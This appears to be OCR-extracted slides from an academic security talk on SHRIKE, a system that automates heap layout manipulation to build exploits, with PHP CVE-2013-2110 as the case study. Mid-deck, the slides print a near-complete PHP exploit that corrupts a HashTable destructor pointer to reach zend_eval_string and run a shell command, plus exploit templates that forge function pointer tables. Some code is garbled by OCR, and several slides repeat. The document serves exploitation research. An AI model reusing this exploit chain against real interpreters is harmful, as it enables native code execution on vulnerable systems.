Automatic Heap Layout Manipulation for Exploitation

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Problem

CVE-2013-2110



Sec Bug #64879 Heap based buffer overflow in quoted_printable_encode

Submitted: 2013-05-20 08:53 UTC **Modified:** 2013-06-08 09:17 UTC

From: stas@php.net Assigned: stas (profile)
Status: Closed Package: Strings related

PHP Version: 5.3.25 OS: *

Private report: No CVE-ID: 2013-2110

View Add Comment Developer Edit


[2013-05-20 08:53 UTC] stas@php.net

Description:
-----quoted_printable_encode calculates the string size wrong, so overflow is possible.

Test script:
----------quoted_printable_encode(str_repeat("\xf4", 1000));

What Gets Corrupted?

```
1 <?php
2
3 $quote_str = str_repeat("\xf4", 123);
4 quoted_printable_encode($quote_str);
5
6 ?>
```



Finding a Corruption Target

```
169 typedef struct gdImageStruct {
           /* Palette-based image pixels */
170
171
           unsigned char ** pixels;
172
           int sx;
173
           int sy;
174
           /* These are valid in palette images only. See also
175
                   'alpha', which appears later in the structure to
176
                   preserve binary backwards compatibility */
177
           int colorsTotal;
178
           int red[qdMaxColors];
179
           int green[gdMaxColors];
180
           int blue[gdMaxColors];
181
            int open[gdMaxColors];
```

Finding a Corruption Target

```
169 typedef struct qdImageStruct {
170
           /* Palette-based image pixels */
171
           unsigned char ** pixels;
172
           int sx;
173
            int sv;
174
           /* These are valid in palette images only. See also
175
                    'alpha', which appears later in the structure to
176
                    preserve binary backwards compatibility */
177
           int colorsTotal;
178
           int red[gdMaxColors];
           int green[gdMaxColors];
179
           int blue[gdMaxColors];
180
181
           int open[gdMaxColors];
```

```
121 gdImagePtr gdImageCreate (int sx, int sy)
122 {
123
            int i;
124
            gdImagePtr im;
125
126
            if (overflow2(sx, sy)) {
127
                    return NULL;
128
129
130
            if (overflow2(sizeof(unsigned char *), sy)) {
131
                    return NULL;
132
133
134
            if (overflow2(sizeof(unsigned char *), sx)) {
135
                    return NULL;
136
137
            im = (qdImage *) gdCalloc(1, sizeof(gdImage));
138
139
140
            /* Row-major ever since gd 1.3 */
141
            im->pixels = (unsigned char **) qdMalloc(sizeof(unsigned char *) * sy);
```

Finding a Corruption Target

```
169 typedef struct qdImageStruct {
170
           /* Palette-based image pixels */
171
           unsigned char ** pixels;
172
            int sx:
173
            int sy;
174
            /* These are valid in palette images only. See also
175
                    'alpha', which appears later in the structure to
176
                    preserve binary backwards compatibility */
           int colorsTotal;
177
178
            int red[qdMaxColors];
           int green[gdMaxColors];
179
            int blue[gdMaxColors];
180
            int open[gdMaxColors];
181
```

```
121 gdImagePtr gdImageCreate (int sx, int sy)
122 {
123
            int i;
124
            gdImagePtr im;
125
126
            if (overflow2(sx, sy)) {
127
                    return NULL:
128
129
130
            if (overflow2(sizeof(unsigned char *), sy)) {
131
                    return NULL:
132
133
134
            if (overflow2(sizeof(unsigned char *), sx)) {
135
                    return NULL;
136
137
138
            im = (gdImage *) gdCalloc(1, sizeof(gdImage));
139
140
            /* Row-major ever since gd 1.3 */
141
            im->pixels = (unsigned char **) qdMalloc(sizeof(unsigned char *) * sy);
```

```
2112 PHP FUNCTION(imagecreate)
2113 {
2114
          zend long x size, y size;
2115
          qdImagePtr im;
2116
2117
          if (zend parse parameters(ZEND NUM ARGS(), "ll", &x size, &y size) == FAIL
2118
               return;
2119
2120
2121
          if (x \text{ size} \leftarrow 0 \mid | y \text{ size} \leftarrow 0 \mid | x \text{ size} \rightarrow INT MAX \mid | y \text{ size} \rightarrow INT MAX)
               php error docref(NULL, E WARNING, "Invalid image dimensions");
2122
               RETURN FALSE:
2123
2124
2125
2126
          im = qdImageCreate(x size, y size);
```

Finding the Correct Layout

```
1 <?php
2 $image = imagecreate(1, 2);
3
4 $quote_str = str_repeat("\xf4", 123);
5 quoted_printable_encode($quote_str);
6 ?>
```


Finding the Correct Layout

```
1 <?php
2 $image = imagecreate(1, 2);
3
4 $quote_str = str_repeat("\xf4", 123);
5 quoted_printable_encode($quote_str);
6 ?>
```



Finding the Correct Layout

```
1 <?php
2 $image = imagecreate(1, 2);
3
4 $quote_str = str_repeat("\xf4", 123);
5 quoted_printable_encode($quote_str);
6 ?>
```



Finding Heap Manipulating Functions

```
4930 PHP FUNCTION(str repeat)
4931 {
        zend string
                        *input str; /* Input string */
4932
        zend long
                        mult;
                                      /* Multiplier */
4933
        zend string *result;
                                    /* Resulting string */
4934
                    result len; /* Length of the resulting string */
4935
        size t
4936
        if (zend parse parameters(ZEND NUM ARGS(), "Sl", &input str, &mult) == FA
4937
4938
             return;
4939
4940
4941
        if (mult < 0) {
4942
            php error docref(NULL, E WARNING, "Second argument has to be greater
4943
             return;
4944
4945
        /* Don't waste our time if it's empty */
4946
        /* ... or if the multiplier is zero */
4947
4948
        if (ZSTR LEN(input str) == 0 || mult == 0)
4949
            RETURN EMPTY STRING();
4950
4951
        /* Initialize the result string */
4952
        result = zend string safe alloc(ZSTR LEN(input str), mult, 0, 0);
        result len = ZSTR LEN(input str) * mult;
4953
```

Finding Heap Manipulating Functions

```
4930 PHP FUNCTION(str repeat)
4931 {
4932
        zend string
                        *input str;
                                        /* Input string */
                                        /* Multiplier */
4933
        zend lona
                        mult;
                                     /* Resulting string */
        zend string *result;
4935
                    result len;
                                   /* Length of the resulting string */
4937
        if (zend parse parameters(ZEND NUM ARGS(), "Sl", &input str, &mult) == F/
4938
4939
4940
4941
4942
             php error docref(NULL, E WARNING, "Second argument has to be greater
4943
4944
4945
4946
        /* Don't waste our time if it's empty */
        /* ... or if the multiplier is zero */
4948
        if (ZSTR_LEN(input_str) == 0 || mult == 0)
4949
            RETURN EMPTY STRING();
4950
        /* Initialize the result string */
        result = zend string safe alloc(ZSTR LEN(input str), mult, 0, 0);
        result len = ZSTR LEN(input str) * mult;
```

```
328 PHP FUNCTION(hash init)
329 {
330
        char *algo, *key = NULL;
331
        size t algo len, key len = 0;
332
        int argc = ZEND NUM ARGS();
333
        zend long options = 0;
334
        void *context;
335
        const php hash ops *ops;
336
        php hash data *hash;
337
338
        if (zend parse parameters(argc, "s|ls", &algo, &algo len, &options, &key, &
339
            return;
340
341
342
        ops = php hash fetch ops(algo, algo len);
343
        if (!ops) {
344
            php error docref(NULL, E WARNING, "Unknown hashing algorithm: %s", algo
345
            RETURN FALSE;
346
347
        if (options & PHP HASH HMAC &&
348
            key len \leq 0) {
349
350
            /* Note: a zero length key is no key at all */
            php error docref(NULL, E WARNING, "HMAC requested without a key");
351
352
            RETURN FALSE;
353
354
355
        context = emalloc(ops->context size);
356
        ops->hash init(context);
357
358
        hash = emalloc(sizeof(php hash data));
```

Finding Heap Manipulating Functions

```
4930 PHP FUNCTION(str repeat)
4931 {
                        *input str;
4932
        zend string
                                        /* Input string */
                                        /* Multiplier */
4933
        zend lona
                        mult;
4934
        zend string *result;
                                     /* Resulting string */
4935
                    result len;
                                   /* Length of the resulting string */
4936
4937
        if (zend_parse_parameters(ZEND_NUM_ARGS(), "Sl", &input_str, &mult) == F/
4938
4939
4940
4941
4942
             php error docref(NULL, E WARNING, "Second argument has to be greater
4943
4944
4945
4946
        /* Don't waste our time if it's empty */
        /* ... or if the multiplier is zero */
4948
        if (ZSTR_LEN(input_str) == 0 || mult == 0)
4949
            RETURN EMPTY STRING();
4950
        /* Initialize the result string */
        result = zend string safe alloc(ZSTR LEN(input str), mult, 0, 0);
        result len = ZSTR LEN(input str) * mult;
```

```
328 PHP FUNCTION(hash init)
        char *algo, *key = NULL;
        size t algo len, key len = 0;
        int argc = ZEND NUM ARGS();
        zend long options = 0;
        void *context;
        const php hash ops *ops:
        php hash data *hash;
338
339
340
341
342
343
344
        if (zend_parse_parameters(argc, "s|ls", &algo, &algo_len, &options, &key, &
        ops = php_hash_fetch_ops(algo, algo_len);
            php error docref(NULL, E WARNING, "Unknown hashing algorithm: %s", algo
345
346
347
            RETURN FALSE;
        if (options & PHP HASH HMAC &&
            key len \leq 0
            /* Note: a zero length key is no key at all */
            php error docref(NULL, E WARNING, "HMAC requested without a key");
352
353
354
355
            RETURN FALSE:
        context = emalloc(ops->context size);
        ops->hash init(context);
357
        hash = emalloc(sizeof(php hash data));
```

```
1408 PHP METHOD(SoapServer, addFunction)
1409 {
1410
         soapServicePtr service;
         zval *function name, function copy;
1411
1412
1413
         SOAP SERVER BEGIN CODE();
1414
1415
         FETCH THIS SERVICE(service);
1416
1417
         if (zend parse parameters(ZEND NUM ARGS(), "z", &function name) == FAILURE)
1418
                 return:
1419
1420
        if (Z TYPE P(function name) == IS ARRAY) {
1421
             if (service->type == SOAP FUNCTIONS) {
1422
1423
                 zval *tmp function;
1424
1425
                 if (service->soap functions.ft == NULL) {
                     service->soap functions.functions all = FALSE;
1426
                     service->soap functions.ft = emalloc(sizeof(HashTable));
1427
```

Using Heap Manipulating Functions

```
1 <?php
 2 $quote str = str repeat("\xf4", 123);
 4 $var vtx 0 = str repeat("a-very-long-break-string-to-clobber-the-heap", 8);
 5 $var vtx 1 = str repeat("a-very-long-break-string-to-clobber-the-heap", 8);
 6 $var vtx 2 = str repeat("a-very-long-break-string-to-clobber-the-heap", 8);
 7 $var vtx 3 = str repeat("747 X ", 58);
 8 $var vtx 5 = str repeat("747 X ", 58);
 9 $var vtx 6 = str repeat("747 X ", 58);
10 var vtx 7 = str repeat("747 X ", 58);
11 $var vtx 8 = str repeat("a-very-long-break-string-to-clobber-the-heap", 8);
12 $var vtx 9 = imagecreatetruecolor(346, 48);
13 var vtx 3 = 0;
14 <...>
15 $image = imagecreate(1, 2);
16
17 $var vtx 0 = str repeat("a-very-long-break-string-to-clobber-the-heap", 8);
18 $var vtx 1 = str repeat("a-very-long-break-string-to-clobber-the-heap", 8);
19 $var vtx 2 = str repeat("747 X ", 58);
20 $var vtx 3 = str repeat("a-very-long-break-string-to-clobber-the-heap", 8);
21 <...>
22
23 quoted printable encode($quote str);
```



Complete Exploit

```
25 printf("[-] Freeing in-use pointer container\n");
26 mb detect order("auto");
27 printf("[-] Reallocating pointer container\n");
28 $new image = imagecreate(16, 1);
29 printf("[+] Pointer container reallocated as writable buffer\n");
30 printf("[-] Leaking addresses for chunks of size 56\n");
31 \pm 0 = 0;
32 $image = imagecreate(56, 2);
33 \text{ } \text{ptr0} = \text{ptr1} = 0;
34 for ($i = 0; $i < 8; $i++) {
           $ptr0 |= imagecolorat($new image, $i, 0) << ($i * 8);</pre>
36
           ptr1 = imagecolorat(new image, $i + 8, 0) << ($i * 8);
37 }
39 printf("[+] Leaked addresses: 0x%x, 0x%x\n", $ptr0, $ptr1);
40 printf("[-] Allocating a HashTable at 0x%x\n", $ptr1);
41 simage = 0:
42 $image = imagecreate(8, 2);
43 sht = array(rand());
44 $ht addr = $ptr1;
45 $target str = strtolower("`qnome-calculator`; AAAAA");
46 $zend string addr = $ptr0:
47 $ht dtor addr = $ht addr + 48:
48 printf("[+] HashTable at 0x%x with destructor pointer at 0x%x\n",
           $ptr1, $ht dtor addr);
50 printf("[-] Rewriting HashTable's destructor pointer\n");
51 for (\$i = 0; \$i < 8; \$i++) {
           b = (ht dtor addr >> (ht * 8)) & 0xff;
52
           imagesetpixel($new image, $i, 0, $b);
53
54 }
```

```
55 for (\$i = 0; \$i < 8; \$i++) {
56
           imagesetpixel(\$image, \$i, 0, 0x41 + \$i);
57 }
58 $zend eval string addr = 0x95fd61;
59 for (\$i = 0; \$i < 8; \$i++) {
           $b = ($zend eval string addr >> ($i * 8)) & 0xff;
60
           imagesetpixel($image, $i, 0, $b);
61
62 }
63 $ht arData addr = $ht addr + 16;
64 printf("[+] HashTable at 0x%x with arData pointer at 0x%x\n",
           $ptr1, $ht arData addr);
65
66 printf("[-] Rewriting HashTable's arData pointer\n");
67 for (\$i = 0; \$i < 8; \$i++) {
           b = (ht arData addr >> (i * 8)) & Oxff;
68
           imagesetpixel($new image, $i, 0, $b);
69
70 }
71 $target str addr = $zend string addr + 24;
72 for (\$i = 0; \$i < 8; \$i++) {
           b = (\text{starget str addr} >> (\text{si} * 8)) \& 0xff;
73
           imagesetpixel($image, $i, 0, $b);
74
75 }
76 printf("[!] Triggering destructor\n");
77 \text{ sht} = 0;
78 ?>
```

Steps to Exploitation

- 1. Discover a vulnerability
- 2. Learn how to allocate sensitive data on the heap (e.g. a pointer)
- 3. Learn how to interact with the allocator via the program's API
- 4. Achieve required heap layout
- 5. Complete exploit using resulting read/write primitives

Our Contributions


- 1. Discover a vulnerability
- 2. Learn how to allocate sensitive data on the heap
 - Dynamic analysis of regression tests
- 3. Learn how to interact with the allocator via the program's API
 - Dynamic analysis + fuzzing of regression tests
- 4. Achieve required heap layout
 - Random search over the discovered interaction sequences
- 5. Complete exploit using resulting read/write primitives
 - A template-based approach to exploit writing

Allocator Design


Allocator Design Choices

- Goal
 - Service runtime requests for memory via the heap or memory mapped pages
- Objectives differ based on the allocator, e.g.
 - Minimise fragmentation
 - Maximise speed of allocation
 - Maximise resilience to accidental errors
 - Maximise resilience to purposeful attacks

Segregated Free Lists



Segregated Storage




UsageMask: 1010011111111110001111


Heap Layout Manipulation

A Brief Introduction


Problem: sizeof(S)=8, sizeof(D)=32



Attempt #1 – Just Allocate



Solution – Hole Filling



Noisy Interaction Sequences

 A significant complicating factor can be 'noise' in the available allocation sequences

```
void allocDestination(...)
{
    n = malloc(32);
    d = malloc(dst);
    ...
}
```

Attempt #1 – Just Allocate


```
S NO D
```


```
S = malloc(8);


N0 = malloc(32);

D = malloc(32);
```

```
A0 = malloc(32);
A1 = malloc(32);
A2 = malloc(32);
A3 = malloc(8);
```







Automating Heap Layout Manipulation

Problem Statement

- Objective
 - Place source and destination buffer adjacent to each other
- Mechanism
 - Hole filling and creation
- Complicating factors
 - Diversity of allocator implementations, indirect allocator interaction, noise, layout constraints imposed by the allocator (e.g. segregated storage)

Problem Statement

- Objective
 - Place source and destination buffer adjacent to each other
- Mechanism
 - Hole filling and creation
- Complicating factors
 - Diversity of allocator implementations, indirect allocator interaction, noise, layout constraints imposed by the allocator (e.g. segregated storage)
- Out of scope
 - Non-deterministic allocators, unknown heap starting state

Random Search

- Random combination of the available interaction sequences
 - Parameters: Maximum solution length, ratio of allocations to frees
 - Could this work?

Evaluation – Benchmark Configuration (SIEVE)

- Allocators
 - tcmalloc (v2.6.1), dlmalloc (v2.8.6), avrlibc (v2.0)
- Starting states
 - Ruby, Python, PHPx2
- Source and destination sizes
 - The cross product of 8, 64, 512, 4096, 16384, 65536
- 2592 benchmarks
- Search allowed 500,000 candidates per benchmark

Noise	% Overall Solved
0	100
0	99
0	72
1	51
1	46
1	52
4	41
4	33
4	37
	0 0 0 1 1 1 4

Noise	% Overall Solved
0	100
0	99
0	72
1	51
1	46
1	52
4	41
4	33
4	37
	0 0 0 1 1 1 4

Allocator	Noise	% Overall Solved
avrlibc-r2537	0	100
dlmalloc-2.8.6	0	99
tcmalloc-2.6.1	0	72
avrlibc-r2537	1	51
dlmalloc-2.8.6	1	46
tcmalloc-2.6.1	1	52
avrlibc-r2537	4	41
dlmalloc-2.8.6	4	33
tcmalloc-2.6.1	4	37

Allocator	Noise	% Overall Solved
avrlibc-r2537	0	100
dlmalloc-2.8.6	0	99
temalloc-2.6.1	0	72
avrlibc-r2537	1	51
dlmalloc-2.8.6	1	46
temalloc-2.6.1	1	52
avrlibc-r2537	4	41
dlmalloc-2.8.6	4	33
tcmalloc-2.6.1	4	37

Allocator	Noise	% Overall Solved
avrlibc-r2537	0	100
dlmalloc-2.8.6	0	99
temalloc-2.6.1	0	72
avrlibc-r2537	1	51
dlmalloc-2.8.6	1	46
temalloc-2.6.1	1	52
avrlibc-r2537	4	41
dlmalloc-2.8.6	4	33
temalloc-2.6.1	4	37

Summary

- Random search performs very well when there is no noise, and no segregated storage
- If all runs of the benchmarks are considered, 78% are solved at least once
- With appropriate computational resources random search can be pretty effective

End-to-End Automation of Heap Layout Manipulation

Working with Real Programs

- For evaluation we chose the PHP language interpreter
 - Open bug tracker, interpreter and language are featureful but easy to work with
 - Hypothetical threat model: hardened interpreter in which we can run arbitrary PHP code but want to execute native code

High Level Algorithm

- 1. Discover how to interact with the allocator via the program's API
- 2. Randomly combine API calls to manipulate the heap
- 3. Check if source and destination are adjacent, if not go to step 2, if yes then end

Fragmentation

```
<?php
$image = imagecreatetruecolor(180, 30);
imagestring($image, 5, 10, 8, 'Text', 0x00ff00);
$gaussian = array(
  array(1.0, 2.0, 1.0),
  array(2.0, 4.0, 2.0)
var_dump(imageconvolution(
     $image, $gaussian, 16, 0));
?>
```

Fragmentation

```
<?php
$image = imagecreatetruecolor(180, 30);
imagestring($image, 5, 10, 8, 'Text', 0x00ff00);
$gaussian = array(
  array(1.0, 2.0, 1.0),
  array(2.0, 4.0, 2.0)
var_dump(imageconvolution(
     $image, $gaussian, 16, 0));
?>
```

```
imagecreatetruecolor(180, 30)
imagestring($image, 5, 10, 8, 'Text', 0x00ff00)
array(array(1.0, 2.0, 1.0), array(2.0, 4.0, 2.0))
array(1.0, 2.0, 1.0)
array(2.0, 4.0, 2.0)
var_dump(imageconvolution($image, $gaussian, 16, 0))
```

Fragmentation + Fuzzing

```
<?php
$image = imagecreatetruecolor(180, 30);
imagestring($image, 5, 10, 8, 'Text', 0x00ff00);
$gaussian = array(
 array(1.0, 2.0, 1.0),
 array(2.0, 4.0, 2.0)
?>
```

```
imagecreatetruecolor(180, 30)
imagestring($image, 5, 10, 8, 'Text', 0x00ff00)
array(array(1.0, 2.0, 1.0), array(2.0, 4.0, 2.0))
array(1.0, 2.0, 1.0)
array(2.0, 4.0, 2.0)
var_dump(imageconvolution($image, $gaussian, 16, 0))
```

```
imagecreatetruecolor(1, 1)
imagecreatetruecolor(1, 2)
imagecreatetruecolor(1, 3)
imagecreatetruecolor(1, 4)
```

High Level Algorithm

- 1. Discover how to interact with the allocator via the program's API
- 2. Randomly combine API calls to manipulate the heap
- 3. Check if source and destination are adjacent, if not go to step 2, if yes then end

Randomly Produced Sequence

```
$var_vtx_43 = str_repeat("\f4", 106);
$var_vtx_44 = imagecreate(10, 10);
$var_vtx_45 = str_repeat("a-very-long-break-string-to-clobber-the-heap", 8);
$var_vtx_46 = unserialize('a:2:{i:0;0:12:"DateInterval":1:{s:1:"y";R:1;}i:1;i:2;}');
$var_vtx_47 = str_repeat("747 X ", 58);
$var_vtx_48 = str_repeat("a-very-long-break-string-to-clobber-the-heap", 8);
$var_vtx_18 = 0;
$var_vtx_50 = str_repeat("747 X ", 58);
$var_vtx_51 = hash_init('crc32b', HASH_HMAC, '123456');
$var_vtx_52 = str_repeat("747 X ", 58);
$var_vtx_53 = str_repeat("747 X ", 58);
$var_vtx_54 = str_repeat("747 X ", 58);
$var_vtx_55 = imagecreatetruecolor(96,51);
```

High Level Algorithm

- 1. Discover how to interact with the allocator via the program's API
- 2. Randomly combine API calls to manipulate the heap
- 3. Check if source and destination are adjacent, if not go to step 2, if yes then end

Evaluation

- 3 vulnerabilities x 10 target data structures = 30 experiments
 - Max run time: 12 hours
 - 40 concurrent analysis processes
- 21/30 (70%) success rate
 - Average time: 9m30s, Min. time: < 1s, Max. time: 1h10m
 - Average number of candidates before success: 720k

Exploit Templates

Exploit Templates

```
echo "[+] Forging function pointer table ...";
$ptr table id = dve alloc buffer(40);
dve write to buffer($ptr table id,
       "EEEEEEEE" .
        "FFFFFFFF" .
        "GGGGGGGG" .
                               # 16
       "НННННННН" .
                               # 24
       $shellcode addr
                               # 32
echo " done\n";
echo "[+] Leaking function pointer table address ...";
#X-SHRIKE HEAP-MANIP 128
#X-SHRIKE RECORD-ALLOC 0 4
$ptr table container id = dve alloc buffer(128);
dve store buffer address($ptr table container id, 0, $ptr table id);
#X-SHRIKE HEAP-MANIP 128
#X-SHRIKE RECORD-ALLOC 0 5
$oob read src id2 = dve alloc buffer(128);
#X-SHRIKE REOUIRE-DISTANCE 4 5 128
echo " done\n";
$table addr = dve read from buffer($oob read src id2, 128, 8);
$ptr as str = "";
prefix = 1;
for (\$i = 7; \$i >= 0; \$i--) {
       $v = ord($table addr[$i]);
       if (!$v && $prefix) {
               // Leading 0
               continue;
       prefix = 0;
```

Completed Template

```
echo "[+] Leaking function pointer table address ...";
var vtx 0 = str repeat("\13", 91);
var vtx 1 = str repeat("\13", 91);
$var vtx 2 = str repeat("30", 46);
$var vtx 3 = str repeat("\28", 48);
var vtx 4 = str repeat("\13", 91);
<...>
$var vtx 311 = str repeat("47", 47);
shrike record alloc(0, 4);
$ptr table container id = dve alloc buffer(128);
dve store buffer address($ptr table container id, 0, $ptr table id);
var vtx 0 = str repeat("47", 47);
var vtx 1 = str repeat("\28", 48);
var vtx 2 = str repeat("\x552", 45);
var vtx 3 = str repeat("\28", 48);
var vtx 4 = str repeat("30", 46);
<...>
var vtx 216 = str repeat("\x552", 45);
shrike record alloc(0, 5);
$oob read src id2 = dve alloc buffer(128);
$distance = shrike get distance(4, 5);
if ($distance != 128) {
   exit("Invalid layout. Distance: $distance\n");
echo " done\n";
```

Demo

- CVE-2013-2110
- Exploit developer provides template
 - Partial exploit with holes
 - SHRIKE completes the exploit by solving the layout problems

Automatically Completing a Partial Exploit

https://www.youtube.com/watch?v=MOOvhckRoww

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- Exploit templates allow us to combine the creativity of an exploit developer with the power of a machine
 - Future work: Automating other aspects and integration with template-based exploit development
- SHRIKE is a PoC system implementing end-to-end heap layout manipulation and integrating with exploit development via a template system. Code available!

Thanks / Questions?

Code+Paper: https://sean.heelan.io/heaplayout

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